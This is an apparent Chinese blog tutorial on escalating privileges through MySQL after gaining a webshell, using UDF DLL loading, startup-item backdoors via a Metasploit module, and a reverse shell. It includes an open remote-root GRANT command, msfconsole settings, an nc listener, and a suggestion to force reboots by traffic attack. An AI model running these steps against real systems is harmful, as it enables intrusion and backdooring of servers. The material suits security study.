码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 权限提升:Mysql 数据库 .(UDF || 启动项 || 反弹)


    权限提升:Mysql 数据库.

    权限提升简称提权,由于操作系统都是多用户操作系统,用户之间都有权限控制,比如通过 Web 漏洞拿到的是 Web 进程的权限,往往 Web 服务都是以一个权限很低的账号启动的,因此通过 Webshell 进行一些操作会受到限制,这就需要将其提升为管理甚至是 System 权限。通常通过操作系统漏洞或操作系统的错误配置进行提权,也可以通过第三方软件服务,如数据库或 FTP 等软件的漏洞进行提权。


    目录:

    提权思想:

    Mysql 数据库提权:

    UDF 提权:

                    第一步:服务探针.(端口)

                    第二步:信息收集.

                    第三步:提权利用.

    启动项提权:

    第一步:开启外连.

    第二步:使用 msf 对 数据库 进行提权.

    第三步:目标主机重启,则就会启用后门.(怎么重启目标主机,可以使用流量攻击.)

    反弹提权:

    第一步:在攻击机进行监听

    第二步:上传 Mysql 提权工具,以后进行访问.

    第三步:创建反弹函数.

     第四步:执行监听.

    第五步:返回 kali 查看已经返回成功.


    免责声明:

    严禁利用本文章中所提到的技术进行非法攻击,否则后果自负,上传者不承担任何责任。


    提权思想:

    在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件: 服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数 据库提权的可能.

    流程:服务探针-信息收集-提权利用-获取权限


    Mysql 数据库提权:

    提权是我们已经有木马或其他的方法连接到web网站的目录了.

    1. 数据库的默认端口信息:
    2. 1、MySql数据库 ,默认端口是: 3306;
    3. 2、Oracle数据库 ,默认端口号为:1521;
    4. 3、Sql Server数据库 ,默认端口号为:1433;
    5. 4、DB2数据库, 默认端口号为:5000;
    6. 5、PostgreSQL数据库, 默认端口号为:5432;
    7. 6、国产的DM达梦数据库, 默认端口号为:5236;
    8. 7、Redis数据库,默认端口号:6379;
    9. 8、Memcached数据库,默认端口号:11211;
    10. 9、MongoDB数据库,默认端口号:27017;

    UDF 提权:

    第一步:服务探针.(端口)


    第二步:信息收集.

    (1)读取网站数据库配置文件(了解其命名规则及查找技巧)

    1. 查看数据库配置文件的关键字:
    2. sql,data,inc,config,conn,database,common,include.....


    (2)读取数据库存储或备份文件(了解其数据库存储格式及对应内容)


    第三步:提权利用.

    1. 提权的第一步要知道数据库的版本号:
    2. (1)mysql<5.1 导出目录 c:/windows 或 system32
    3. (2)mysql=>5.1 导出安装目录/lib/plugin/


    (1)查看数据库的安装目录

    select @@basedir;


    (2)复制安装目录,进行访问点击 lib 文件.


     (3)点击创建 plugin 目录.(因为 mysql=>5.1 所以要创建这个目录.)


    (4)复制 plugin 目录的 URL.


    (5)然后点安装DLL,然后再点击自己要执行的命令.


    (6)提高权限,添加管理员.(这里因为我添加了二次,所以返回的结果已存在.)


    启动项提权:

    1. 导出自定义可执行文件到启动目录配合重启执行
    2. 将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!

    第一步:开启外连.

    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;


    第二步:使用 msf 对 数据库 进行提权.

    msfconsole


    use exploit/windows/mysql/mysql_start_up        //使用外连模块.


    show options            //查看需要配置的模块


    set rhosts 192.168.0.102            //设置目标主机 IP 地址.
    set username root                     //设置数据库用户名.
    set password root                    //设置数据库的密码.
    run            //执行模块上传.

    第三步:目标主机重启,则就会启用后门.(怎么重启目标主机,可以使用流量攻击.)


    反弹提权:

    第一步:在攻击机进行监听

    nc -l -p 5577


    第二步:上传 Mysql 提权工具,以后进行访问.


    第三步:创建反弹函数.


     第四步:执行监听.


    第五步:返回 kali 查看已经返回成功.

        

        

    解决安装DLL:https://www.cnblogs.com/awrrays/p/11371522.html

  • 相关阅读:
    JAVAweb第一次总结作业
    2023-10-20 LeetCode每日一题(根据规则将箱子分类)
    【PyQT5教程】-02-UI组件
    Java序列化为什么必须实现 Serializable 接口
    彰显强大技术实力,微信视觉团队斩获CVPR 2023 Video Similarity Challenge双赛道冠军
    [架构之路-19]:目标系统 - 硬件平台 - 案例1 - 用单片机STM8/STM32搭建目标系统(以无线传感器LoRa终端为例)
    获奖喜讯 | 中恒科技连获第十一届“龙图杯”全国BIM大赛三项大奖
    07.智慧商城——商品详情页、加入购物车、拦截器封装token
    STM32F4之系统滴答定时器
    二维码怎么做列表?点击可跳转其他内容
  • 原文地址:https://blog.csdn.net/weixin_54977781/article/details/130383561
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号